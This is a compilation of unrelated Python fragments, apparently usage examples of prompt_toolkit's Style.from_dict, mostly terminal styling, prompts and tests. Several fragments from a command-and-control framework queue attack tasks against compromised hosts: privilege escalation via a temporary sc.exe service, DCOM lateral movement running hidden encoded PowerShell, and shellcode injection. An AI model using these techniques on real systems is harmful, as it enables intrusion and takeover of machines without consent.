def get_all_ui_styles(): """ Return a dict mapping {ui_style_name -> style_dict}. """ return { 'default': Style.from_dict(default_ui_style), 'blue': Style.from_dict(blue_ui_style), }
def __init__(self, ipython_shell, *a, **kw): kw['_completer'] = create_completer(kw['get_globals'], kw['get_globals'], ipython_shell.magics_manager, ipython_shell.alias_manager) kw['_lexer'] = create_lexer() kw['_validator'] = IPythonValidator( get_compiler_flags=self.get_compiler_flags) super(IPythonInput, self).__init__(*a, **kw) self.ipython_shell = ipython_shell self.all_prompt_styles['ipython'] = IPythonPrompt(ipython_shell.prompts) self.prompt_style = 'ipython' # UI style for IPython. Add tokens that are used by IPython>5.0 style_dict = {} style_dict.update(default_ui_style) style_dict.update({ 'pygments.prompt': '#009900', 'pygments.prompt-num': '#00ff00 bold', 'pygments.out-prompt': '#990000', 'pygments.out-prompt-num': '#ff0000 bold', }) self.ui_styles = { 'default': Style.from_dict(style_dict), } self.use_ui_colorscheme('default')
def main(): style = Style.from_dict({ 'hello': '#ff0066', 'world': '#44ff44 italic', }) # Print using a a list of text fragments. text_fragments = FormattedText([ ('class:hello', 'Hello '), ('class:world', 'World'), ('', '\n'), ]) print(text_fragments, style=style) # Print using an HTML object. print(HTML( '<hello>hello</hello> <world>world</world>\n'), style=style) # Print using an HTML object with inline styling. print(HTML( '<style fg="#ff0066">hello</style> ' '<style fg="#44ff44"><i>world</i></style>\n')) # Print using ANSI escape sequences. print(ANSI( '\x1b[31mhello \x1b[32mworld\n'))
def test_style_from_dict(): style = Style.from_dict({ 'a': '#ff0000 bold underline italic', 'b': 'bg:#00ff00 blink reverse', }) # Lookup of class:a. expected = Attrs(color='ff0000', bgcolor='', bold=True, underline=True, italic=True, blink=False, reverse=False, hidden=False) assert style.get_attrs_for_style_str('class:a') == expected # Lookup of class:b. expected = Attrs(color='', bgcolor='00ff00', bold=False, underline=False, italic=False, blink=True, reverse=True, hidden=False) assert style.get_attrs_for_style_str('class:b') == expected # Test inline style. expected = Attrs(color='ff0000', bgcolor='', bold=False, underline=False, italic=False, blink=False, reverse=False, hidden=False) assert style.get_attrs_for_style_str('#ff0000') == expected # Combine class name and inline style (Whatever is defined later gets priority.) expected = Attrs(color='00ff00', bgcolor='', bold=True, underline=True, italic=True, blink=False, reverse=False, hidden=False) assert style.get_attrs_for_style_str('class:a #00ff00') == expected expected = Attrs(color='ff0000', bgcolor='', bold=True, underline=True, italic=True, blink=False, reverse=False, hidden=False) assert style.get_attrs_for_style_str('#00ff00 class:a') == expected
def get_all_code_styles(): """ Return a mapping from style names to their classes. """ result = dict((name, style_from_pygments_cls(get_style_by_name(name))) for name in get_all_styles()) result['win32'] = Style.from_dict(win32_code_style) return result
def test_with_style(): f = _Capture() style = Style.from_dict({ 'hello': '#ff0066', 'world': '#44ff44 italic', }) tokens = FormattedText([ ('class:hello', 'Hello '), ('class:world', 'world'), ]) pt_print(tokens, style=style, file=f) assert b'\x1b[0;38;5;197mHello' in f.data assert b'\x1b[0;38;5;83;3mworld' in f.data
def main(): # Example 1: fixed text. text = prompt('Say something: ', bottom_toolbar='This is a toolbar') print('You said: %s' % text) # Example 2: fixed text from a callable: def get_toolbar(): return 'Bottom toolbar: time=%r' % time.time() text = prompt('Say something: ', bottom_toolbar=get_toolbar, refresh_interval=.5) print('You said: %s' % text) # Example 3: Using HTML: text = prompt('Say something: ', bottom_toolbar=HTML( '(html) <b>This</b> <u>is</u> a <style bg="ansired">toolbar</style>')) print('You said: %s' % text) # Example 4: Using ANSI: text = prompt('Say something: ', bottom_toolbar=ANSI( '(ansi): \x1b[1mThis\x1b[0m \x1b[4mis\x1b[0m a \x1b[91mtoolbar')) print('You said: %s' % text) # Example 5: styling differently. style = Style.from_dict({ 'bottom-toolbar': '#aaaa00 bg:#ff0000', 'bottom-toolbar.text': '#aaaa44 bg:#aa4444', }) text = prompt('Say something: ', bottom_toolbar='This is a toolbar', style=style) print('You said: %s' % text) # Example 6: Using a list of tokens. def get_bottom_toolbar(): return [ ('', ' '), ('bg:#ff0000 fg:#000000', 'This'), ('', ' is a '), ('bg:#ff0000 fg:#000000', 'toolbar'), ('', '. '), ] text = prompt('Say something: ', bottom_toolbar=get_bottom_toolbar) print('You said: %s' % text) # Example 7: multiline fixed text. text = prompt('Say something: ', bottom_toolbar='This is\na multiline toolbar') print('You said: %s' % text)
def get_style(): return Style.from_dict({ "completion-menu.completion.current": "bg:#00aaaa #000000", # "completion-menu.completion": "bg:#008888 #ffffff", "completion-menu.completion.fuzzymatch.outside": "fg:#00aaaa", "name1": "#00ffff bold", "name2": "#ff0000 bold", "name3": "#ffd700 bold", "state_index": "#ffd700", "file": "#00ff48", "rprompt": "fg:#00ff48", "bottom-toolbar": "#000000", "bt_version": "bg:#00ff48", "bt_states": "bg:#60cdd5", "bt_buffers": "bg:#ff00ff", "bt_type": "bg:#ffd700", "bt_errors": "bg:#ff0000", })
def __init__(self, history_filename=None): if history_filename: PromptInterface.history = PromptFileHistory(history_filename) self.input_parser = InputParser() self.start_height = Blockchain.Default().Height self.start_dt = datetime.datetime.utcnow() self.token_style = Style.from_dict({ "command": preferences.token_style['Command'], "neo": preferences.token_style['Neo'], "default": preferences.token_style['Default'], "number": preferences.token_style['Number'], })
def __init__(self, player): self.player = player self.playerClans = ' '.join(self.player.clantags) if len(self.player.clantags) > 0 : self.playerName = FormattedText([ ('#ffffff', player.aspect['name']), ('', ' '), ('#cc00cc', self.playerClans, "utf-8"), ]) else: self.playerClans = self.playerName = FormattedText([ ('#ffffff', player.aspect['name']), ]) self.result = None self.mainRadiosRows = [] self.listOfItems = [] self.populateMainRadios() # declares self.mainRadios self.currentRadios = self.mainRadios self.description = self.mainRadios.description # description is whataver is in the description box on the right self.requestingConfirmation = False self.bindings = KeyBindings() self.bindings.add('right' )(focus_next) self.bindings.add('tab' )(focus_next) self.bindings.add('s-tab')(focus_previous) self.bindings.add('left')(focus_previous) self.bindings.add('c-m')(self.handleEnter) self.bindings.add('escape')(self.handleEscape) self.style = Style.from_dict({ 'dialog.body': 'bg:#000000 #ffcccc', #background color, text color }) self.application = Application( layout=Layout( self.getRootContainer(), focused_element=self.mainRadios, ), key_bindings=self.bindings, style=self.style, mouse_support=True, full_screen=True, )
async def question(session: AskSession): """ Ask user for his answer on which LeetCode problem he whats to anticipate. """ file_path = session.metadata["output_path"] # TODO: replace with prompt session message: StyleAndTextTuples = [('', 'Solution '), ('class:file_path', file_path), ('', ' exists, overwrite? ')] styles: Style = Style.from_dict({ 'file_path': '#FF9D00 bold', }) answer = await session.prompt(message=message, style=styles) return answer and answer.lower() in ('y', 'yes')
def get_prompt_style() -> Style: """ Get the style to use for our prompt :return: """ return Style.from_dict({ # completions menu 'completion-menu.completion.current': 'bg:#00aaaa #000000', 'completion-menu.completion': 'bg:#008888 #ffffff', # Prompt. 'applicationname': '#007cff', 'on': '#00aa00', 'devicetype': '#00ff48', 'version': '#00ff48', 'connection': '#717171' })
def main(): title('Special formatting') print(HTML(' <b>Bold</b>')) print(HTML(' <blink>Blink</blink>')) print(HTML(' <i>Italic</i>')) print(HTML(' <reverse>Reverse</reverse>')) print(HTML(' <u>Underline</u>')) print(HTML(' <hidden>Hidden</hidden> (hidden)')) # Ansi colors. title('ANSI colors') print(HTML(' <ansired>ANSI Red</ansired>')) print(HTML(' <ansiblue>ANSI Blue</ansiblue>')) # Other named colors. title('Named colors') print(HTML(' <orange>orange</orange>')) print(HTML(' <purple>purple</purple>')) # Background colors. title('Background colors') print(HTML(' <style fg="ansiwhite" bg="ansired">ANSI Red</style>')) print(HTML(' <style fg="ansiwhite" bg="ansiblue">ANSI Blue</style>')) # Interpolation. title('HTML interpolation (see source)') print(HTML(' <i>{}</i>').format('<test>')) print(HTML(' <b>{text}</b>').format(text='<test>')) print(HTML(' <u>%s</u>') % ('<text>', )) print() style = Style.from_dict({ 'hello': '#ff0066', 'world': '#884444 italic', }) print_formatted_text(HTML('<hello>Hello</hello> <world>world</world>!'), style=style)
def get_prompt_args(): kb = KeyBindings() @kb.add("c-v") def _(event): txt = get_clipboard_text() if txt: event.current_buffer.insert_text(txt.replace('\r', '')) args = { "style": Style.from_dict({ "host": "#00FF00", "path": "#8080C0", "tip": "#FF0000", }), "message": lambda: [ ("class:host", "%s@%s: " % (os.getenv("USERNAME", ""), os.getenv("COMPUTERNAME", ""))), ("class:path", "%s\n" % os.getcwd().replace("\\", "/")), ("class:tip", "$ "), ], "complete_in_thread": True, "lexer": PygmentsLexer(BatchLexer), "completer": CmdExCompleter(), "history": FileHistory(os.environ["USERPROFILE"] + "\\.cmdex.hist"), "auto_suggest": AutoSuggestFromHistory(), "enable_open_in_editor": True, "complete_style": CompleteStyle.MULTI_COLUMN, "editing_mode": "EMACS", "key_bindings": kb, } return args
def get_input(self): multiline = bool(self.multiline == 'on') completer = NestedCompleter.from_nested_dict(self.menu) # ff0000 = red color style = Style.from_dict({'prompt': '#ff0000'}) prompt = [('class:prompt', '> ')] session = PromptSession(history=FileHistory(self.history_file)) return session.prompt(prompt, auto_suggest=AutoSuggestFromHistory(), complete_in_thread=True, completer=completer, lexer=PygmentsLexer(CypherLexer), multiline=multiline, style=style, vi_mode=True)
def get_style(): return Style.from_dict( { "completion-menu.completion.current": "bg:#00aaaa #000000", # "completion-menu.completion": "bg:#008888 #ffffff", "completion-menu.completion.fuzzymatch.outside": "fg:#00aaaa", "prompt1": "{} bold".format(prompt_colors[0]), "prompt2": "{} bold".format(prompt_colors[1]), "prompt3": "{} bold".format(prompt_colors[2]), "state_index": "#ffd700", "rprompt": "fg:{}".format(config.prompt_rprompt), "bottom-toolbar": config.prompt_bottom_toolbar, "prompt_toolbar_version": "bg:{}".format(config.prompt_toolbar_version), "prompt_toolbar_states": "bg:{}".format(config.prompt_toolbar_states), "prompt_toolbar_buffers": "bg:{}".format(config.prompt_toolbar_buffers), "prompt_toolbar_type": "bg:{}".format(config.prompt_toolbar_type), "prompt_toolbar_errors": "bg:{}".format(config.prompt_toolbar_errors), } )
def do_sharpwmi_execute(user, command, randomuri): style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("%s payload=%s" % (command, payload), user, randomuri) else: print_bad("Could not find file")
def do_get_system(user, command, randomuri): style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.payload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri)
def __init__(self): # self.input_parser = InputParser() self.start_height = Blockchain.Default().Height self.start_dt = datetime.datetime.utcnow() logger.info('TESTTT Block %s / %s', str(self.start_height), str(self.start_dt)) self.token_style = Style.from_dict({ 'command': preferences.token_style['Command'], 'neo': preferences.token_style['Neo'], 'default': preferences.token_style['Default'], 'number': preferences.token_style['Number'], })
def do_upload_file(user, command, randomuri): source = "" destination = "" nothidden = False if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print_bad("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") nothidden = yes_no_prompt("Do not hide the file:") else: args = argp(command) source = args.source destination = args.destination nothidden = args.nothidden try: print("Uploading %s to %s" % (source, destination)) if (nothidden): uploadcommand = f"upload-file {source} {destination} -NotHidden ${nothidden}" else: uploadcommand = f"upload-file {source} {destination}" new_task(uploadcommand, user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc()
def test_load_style_unix(self, is_windows_mock): is_windows_mock.return_value = False global_config_map = {} global_config_map["top-pane"] = self.ConfigVar("#FAFAFA") global_config_map["bottom-pane"] = self.ConfigVar("#FAFAFA") global_config_map["output-pane"] = self.ConfigVar("#FAFAFA") global_config_map["input-pane"] = self.ConfigVar("#FAFAFA") global_config_map["logs-pane"] = self.ConfigVar("#FAFAFA") global_config_map["terminal-primary"] = self.ConfigVar("#FCFCFC") global_config_map["primary-label"] = self.ConfigVar("#5FFFD7") global_config_map["secondary-label"] = self.ConfigVar("#FFFFFF") global_config_map["success-label"] = self.ConfigVar("#5FFFD7") global_config_map["warning-label"] = self.ConfigVar("#FFFF00") global_config_map["info-label"] = self.ConfigVar("#5FD7FF") global_config_map["error-label"] = self.ConfigVar("#FF0000") style = Style.from_dict({ "output-field": "bg:#FAFAFA #FCFCFC", "input-field": "bg:#FAFAFA #FFFFFF", "log-field": "bg:#FAFAFA #FFFFFF", "header": "bg:#FAFAFA #AAAAAA", "footer": "bg:#FAFAFA #AAAAAA", "search": "bg:#000000 #93C36D", "search.current": "bg:#000000 #1CD085", "primary": "#FCFCFC", "warning": "#93C36D", "error": "#F5634A", "tab_button.focused": "bg:#FCFCFC #FAFAFA", "tab_button": "bg:#FFFFFF #FAFAFA", # Label bg and font color "primary-label": "bg:#5FFFD7 #FAFAFA", "secondary-label": "bg:#FFFFFF #FAFAFA", "success-label": "bg:#5FFFD7 #FAFAFA", "warning-label": "bg:#FFFF00 #FAFAFA", "info-label": "bg:#5FD7FF #FAFAFA", "error-label": "bg:#FF0000 #FAFAFA", }) self.assertEqual(style.class_names_and_attrs, load_style(global_config_map).class_names_and_attrs)
def test_load_style_windows(self, is_windows_mock): is_windows_mock.return_value = True global_config_map = {} global_config_map["top-pane"] = self.ConfigVar("#FAFAFA") global_config_map["bottom-pane"] = self.ConfigVar("#FAFAFA") global_config_map["output-pane"] = self.ConfigVar("#FAFAFA") global_config_map["input-pane"] = self.ConfigVar("#FAFAFA") global_config_map["logs-pane"] = self.ConfigVar("#FAFAFA") global_config_map["terminal-primary"] = self.ConfigVar("#FCFCFC") global_config_map["primary-label"] = self.ConfigVar("#5FFFD7") global_config_map["secondary-label"] = self.ConfigVar("#FFFFFF") global_config_map["success-label"] = self.ConfigVar("#5FFFD7") global_config_map["warning-label"] = self.ConfigVar("#FFFF00") global_config_map["info-label"] = self.ConfigVar("#5FD7FF") global_config_map["error-label"] = self.ConfigVar("#FF0000") style = Style.from_dict({ "output-field": "bg:#ansiwhite #ansiwhite", "input-field": "bg:#ansiwhite #ansiwhite", "log-field": "bg:#ansiwhite #ansiwhite", "header": "bg:#ansiwhite #ansiwhite", "footer": "bg:#ansiwhite #ansiwhite", "search": "#ansiwhite", "search.current": "#ansiwhite", "primary": "#ansiwhite", "warning": "#ansibrightyellow", "error": "#ansired", "tab_button.focused": "bg:#ansiwhite #ansiwhite", "tab_button": "bg:#ansiwhite #ansiwhite", # Label bg and font color "primary-label": "bg:#ansicyan #ansiwhite", "secondary-label": "bg:#ansiwhite #ansiwhite", "success-label": "bg:#ansicyan #ansiwhite", "warning-label": "bg:#ansiyellow #ansiwhite", "info-label": "bg:#ansicyan #ansiwhite", "error-label": "bg:#ansired #ansiwhite", }) self.assertEqual(style.class_names_and_attrs, load_style(global_config_map).class_names_and_attrs)
def set_config(owf_instance, *args): """ Set a config variable to a value. :param owf_instance: Octowire framework instance (self). :param args: Varargs command options. :return: Nothing """ if len(args) < 3: owf_instance.logger.handle("Bad usage", Logger.ERROR) owf_instance.logger.handle("Usage: setc SECTION key value", Logger.INFO) else: if not owf_instance.config.has_section(args[0]): owf_instance.logger.handle( "Config section '{}' does not exist".format(args[0]), Logger.ERROR) else: if not owf_instance.config.has_option(args[0], args[1]): owf_instance.logger.handle( "Value '{}' does not exist in section '{}'".format( args[1], args[0]), Logger.ERROR) else: owf_instance.config[args[0]][args[1]] = args[2] if args[0] == "THEME": owf_instance.prompt_style = Style.from_dict({ # User input (default text), no value = system default. '': owf_instance.config['THEME']['user_input'], # Prompt. 'base': owf_instance.config['THEME']['base'], 'pound': owf_instance.config['THEME']['pound'], 'module': owf_instance.config['THEME']['module'], 'category': owf_instance.config['THEME']['category'], }) owf_instance.logger.handle( "Please use the 'save' command to set the new configuration permanently", Logger.USER_INTERACT)
def setup_prompt(self): self.style = merge_styles([ style_from_pygments_cls(RainbowDashStyle), Style.from_dict({ 'username': '******', 'punctuation': '#090908', 'host': '#8dc3fc', 'database': '#aa83fc' }) ]) self.message = [ ('class:username', self.database.database_url.username), ('class:punctuation', '@'), ('class:host', self.database.database_url.host), ('class:punctuation', ':'), ('class:database', self.database.get_current_db()), ('class:punctuation', '> '), ]
def myShell(promptChr: str = '>>>') -> None: myStyle = Style.from_dict({ 'rprompt': 'bg:#12f #fff', }) while True: try: result = prompt(message=f'{promptChr} ', history=FileHistory('history.txt'), auto_suggest=AutoSuggestFromHistory(), completer=MyCompleter(), complete_while_typing=True, lexer=PygmentsLexer(MyLexer), rprompt=getRprompt, style=myStyle) print(f'Vous avez saisi : {result}') if result == 'quit' or result == 'exit': shellExit() except KeyboardInterrupt: shellExit()
def _print(color, *args): # Under Windows prompt_toolkit does not work with pytest # So add an environment variable check to switch to simple output if is_windows and (os.environ.get("PYTEST_CURRENT_TEST") is not None): print(*args) else: from prompt_toolkit import print_formatted_text, HTML from prompt_toolkit.styles import Style style = Style.from_dict({ "error": "#ff0000", "ok": "#00ff00", "warning": "#ff00ff" }) print_formatted_text( HTML("<{color}>{message}</{color}>".format(color=color, message=escape( " ".join(args)))), style=style, )
def __init__(self, args=None): self.commands = [ 'compile', 'load', 'constraints', 'metas', 'show_module_contents_toplevel', 'search_about_toplevel', 'solveAll', 'solveOne', 'autoAll', 'autoOne', 'auto', 'infer_toplevel', 'compute_toplevel', 'load_highlighting_info', 'tokenHighlighting', 'highlight', 'give', 'refine', 'intro', 'refine_or_intro', 'context', 'helper_function', 'infer', 'goal_type', 'elaborate_give', 'goal_type_context', 'goal_type_context_infer', 'goal_type_context_check', 'show_module_contents', 'make_case', 'why_in_scope', 'compute', 'why_in_scope_toplevel', 'show_version', 'abort' ] self.arguments = ['--file', '--backend', '--cmds', '--rewrite', '--expr', '--interactionId', '--where', '--computeMode', '--remove', '--whether'] self.static = [ "GHC", "GHCNoMain", "LaTeX", "QuickLaTeX", "AsIs", "Instantiated", "HeadNormal", "Simplified", "Normalised", "DefaultCompute", "IgnoreAbstract", "UseShowInstance", "Remove", "Keep", "WithForce", "WithoutForce" ] self.style = Style.from_dict({'pygments.comment': '#888888 bold', 'pygments.keyword': '#ff88ff bold', 'bottom-toolbar': '#56c bg:#ccc'}) self.args = args self.session = None self.temp = None
def prepare_cli_interface(commands): style = Style.from_dict({ # user input (default text) '': '#00ff00', # prompt 'pound': '#00ff00', 'path': 'ansicyan', # toolbar 'bottom-toolbar': '#333333 bg:#ffcc00' }) toolbar_text = f' Basisverzeichnis: {BASE_PATH} - Zum Beenden Strg+d oder Strg+c drücken.' our_history = FileHistory(HISTORY_FILE) session = PromptSession(auto_suggest=AutoSuggestFromHistory(), history=our_history, style=style, completer=prepare_completers(commands), key_bindings=prepare_key_bindings(), bottom_toolbar=toolbar_text, complete_while_typing=True) return session
def do_invoke_dcompayload(user, command, randomuri): style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.payload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: print_bad("Need to run createnewpayload first") return
def __init__(self, parent=None, **kwargs): fail = kwargs.pop("fail", True) super(Console, self).__init__() # determine the relevant parent self.parent = parent if self.parent is not None and self.parent.level == self.level: while parent is not None and parent.level == self.level: parent = parent.parent # go up of one console level # raise an exception in the context of command's .run() execution, to be propagated to console's .run() # execution, setting the directly higher level console in argument raise ConsoleDuplicate(self, parent) # back-reference the console self.config.console = self # configure the console regarding its parenthood if self.parent is None: if Console.parent is not None: raise Exception("Only one parent console can be used") Console.parent = self Console.parent._start_time = datetime.now() Console.appdispname = Console.appname Console.appname = Console.appname.lower() self._root = Path(getfile(self.__class__)).resolve() self.__init(**kwargs) else: self.parent.child = self # reset commands and other bound stuffs self.reset() # setup the session with the custom completer and validator completer, validator = CommandCompleter(), CommandValidator(fail) completer.console = validator.console = self message, style = self.prompt self._session = PromptSession( message, completer=completer, history=FileHistory( Path(self.config.option("WORKSPACE").value).joinpath( "history")), validator=validator, style=Style.from_dict(style), ) CustomLayout(self)
def style_factory(self, style_name): """Retrieve the specified pygments style. If the specified style is not found, the vim style is returned. :type style_name: str :param style_name: The pygments style name. :rtype: :class:`pygments.style.StyleMeta` :return: Pygments style info. """ return merge_styles([ style_from_pygments_cls(DefaultStyle), Style.from_dict({ 'path': 'ansicyan underline', 'prompt': 'fg:ansiblue bold', 'state': 'fg:ansigreen bold', 'danger': 'fg:ansired bold', }) ])
def do_inject_shellcode(user, command, randomuri): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: arch = "64" new_task("$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri) except Exception as e: print_bad("Error loading file: %s" % e)
def create_input_app(self, title, text, value): kwargs = {} if self.multiple: factory = checkboxlist_dialog if value != undefined: kwargs["current_values"] = value else: factory = radiolist_dialog if value != undefined: kwargs["current_value"] = value return factory(title=title, text=text, values=[(v, v) for v in self.enum], style=Style.from_dict({ "checkbox-selected": "bg:#aa0000 fg:white", "radio-selected": "bg:#aa0000 fg:white", }), **kwargs)
class Shad0wLexer(RegexLexer): name = 'shad0w' aliases = ['shad0w'] commands = tools.get_commands() lex_style = Style.from_dict({ 'pygments.keyword': '#FFFFFF', }) tokens = { 'root': [ include('basic'), ], 'basic': [ (r'\b({})(\s*)\b'.format('|'.join(commands)), bygroups(Keyword, Text)), (r'\s-\S*', Operator), (r'(["\'])(?:(?=(\\?))\2.)*?\1', String.Single), ], }
def __init__(self, args, path): """Parse args.""" super().__init__(args, path) self.current_path = path if self.in_machine_folder(): self.machine_path = self.current_path self.example_style = Style.from_dict({ 'dialog': 'bg:#f2521d', 'dialog frame.label': 'bg:#ffffff #000000', 'dialog.body': 'bg:#000000 #FFFFFF', 'dialog shadow': 'bg:#79290E', 'dialog text-area': 'bg:#f2521d #FFFFFF' }) self.creation_loop()
async def interact_command(session): # Already an interactive session if session.interactive: return # Show help await help_command(session) history = InMemoryHistory() lexer = PygmentsLexer(BashLexer) completer = WordCompleter(get_user_command_dict(), sentence=True) style = Style.from_dict({ 'completion-menu.completion': 'bg:#008888 #ffffff', 'completion-menu.completion.current': 'bg:#00aaaa #000000', 'scrollbar.background': 'bg:#88aaaa', 'scrollbar.button': 'bg:#222222', }) def bottom_toolbar(): return HTML( 'There are ' f'<b><style bg="ansired">{len(get_users())} claimed users</style> ' 'at the moment</b>!') while True: try: command = await session.aprompt(HTML("<b>>>> </b>"), history=history, lexer=lexer, completer=completer, style=style, bottom_toolbar=bottom_toolbar, complete_while_typing=True) await run_command(command, session.aprint, session.aprompt, interactive=True) except KeyboardInterrupt: pass
def do_upload_file(user, command, randomuri): # TODO lots of common code source = "" destination = "" s = "" if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination try: destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) uploadcommand = f"upload-file {source} {destination}" new_task(uploadcommand, user, randomuri) except Exception as e: print("Error with source file: %s" % e) traceback.print_exc()
def loop_prompt(cli, config): session = PromptSession( completer=completer, style=Style.from_dict({ 'completion-menu.completion': 'bg:#FFB6C1 #000000', 'completion-menu.completion.current': 'bg:#82B22C #ffffff', 'scrollbar.background': 'bg:#88aaaa', 'scrollbar.button': 'bg:#222222', }), auto_suggest=AutoSuggestFromHistory(), complete_in_thread=True, history=FileHistory(os.path.join(jaina_home_path, 'history')), ) cli.history = History() while True: try: text = session.prompt(f'(jaina) [{cli.chroot}] ') if text: handle_input(text, cli) except Exception as e: if handle_exception(e, config): break
def main(): # Printing a manually constructed list of (Token, text) tuples. text = [ (Token.Keyword, 'print'), (Token.Punctuation, '('), (Token.Literal.String.Double, '"'), (Token.Literal.String.Double, 'hello'), (Token.Literal.String.Double, '"'), (Token.Punctuation, ')'), (Token.Text, '\n'), ] print_formatted_text(PygmentsTokens(text)) # Printing the output of a pygments lexer. tokens = list(pygments.lex('print("Hello")', lexer=PythonLexer())) print_formatted_text(PygmentsTokens(tokens)) # With a custom style. style = Style.from_dict({ 'pygments.keyword': 'underline', 'pygments.literal.string': 'bg:#00ff00 #ffffff', }) print_formatted_text(PygmentsTokens(tokens), style=style)
# Key bindings. bindings = KeyBindings() @bindings.add("c-c") @bindings.add("q") def _(event): " Quit. " event.app.exit() style = Style.from_dict( { "status": "reverse", "status.position": "#aaaa00", "status.key": "#ffaa00", "not-searching": "#888888", } ) # create application. application = Application( layout=Layout(root_container, focused_element=text_area), key_bindings=bindings, enable_page_navigation_bindings=True, mouse_support=True, style=style, full_screen=True, )
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.completion import WordCompleter from prompt_toolkit.formatted_text import HTML from prompt_toolkit.styles import Style from termcolor import colored from terminaltables import AsciiTable import core.state as state from core.listeners import Listeners from core.modules import Modules from core.sessions import Sessions from core.stagers import Stagers from core.utils import print_bad, print_banner rprompt_style = Style.from_dict({ 'rprompt': 'bg:#ff0066 #ffffff', }) def bottom_toolbar(): return HTML(f"(Sessions: {state.SESSIONS} Listeners: {state.LISTENERS})") def get_rprompt(error=False): return ' Error ' if error else '' class UserExit(Exception): pass
iterator. """ from __future__ import unicode_literals from prompt_toolkit.formatted_text import HTML from prompt_toolkit.shortcuts import ProgressBar from prompt_toolkit.shortcuts.progress_bar import formatters from prompt_toolkit.styles import Style import time style = Style.from_dict({ 'progressbar title': '#0000ff', 'item-title': '#ff4400 underline', 'percentage': '#00ff00', 'bar-a': 'bg:#00ff00 #004400', 'bar-b': 'bg:#00ff00 #000000', 'bar-c': 'bg:#000000 #000000', 'tildes': '#444488', 'time-left': 'bg:#88ff88 #ffffff', 'spinning-wheel': 'bg:#ffff00 #000000', }) def main(): custom_formatters = [ formatters.Label(), formatters.Text(' '), formatters.SpinningWheel(), formatters.Text(' '), formatters.Text(HTML('<tildes>~~~</tildes>')), formatters.Bar(sym_a='#', sym_b='#', sym_c='.'),
from prompt_toolkit import print_formatted_text, HTML from prompt_toolkit.styles import Style print_formatted_text(HTML('<b>This is bold</b>')) print_formatted_text(HTML('<i>This is italic</i>')) print_formatted_text(HTML('<u>This is underlined</u>')) # Colors from the ANSI palette. print_formatted_text(HTML('<ansired>This is red</ansired>')) print_formatted_text(HTML('<ansigreen>This is green</ansigreen>')) # Named colors (256 color palette, or true color, depending on the output). print_formatted_text(HTML('<skyblue>This is sky blue</skyblue>')) print_formatted_text(HTML('<seagreen>This is sea green</seagreen>')) print_formatted_text(HTML('<violet>This is violet</violet>')) # Colors from the ANSI palette. print_formatted_text(HTML('<aaa fg="ansiwhite" bg="ansigreen">White on green</aaa>')) # style style = Style.from_dict({ 'aaa': '#ff0066', 'bbb': '#44ff00 italic', }) print_formatted_text(HTML('<aaa>Hello</aaa> <bbb>world</bbb>!'), style=style)
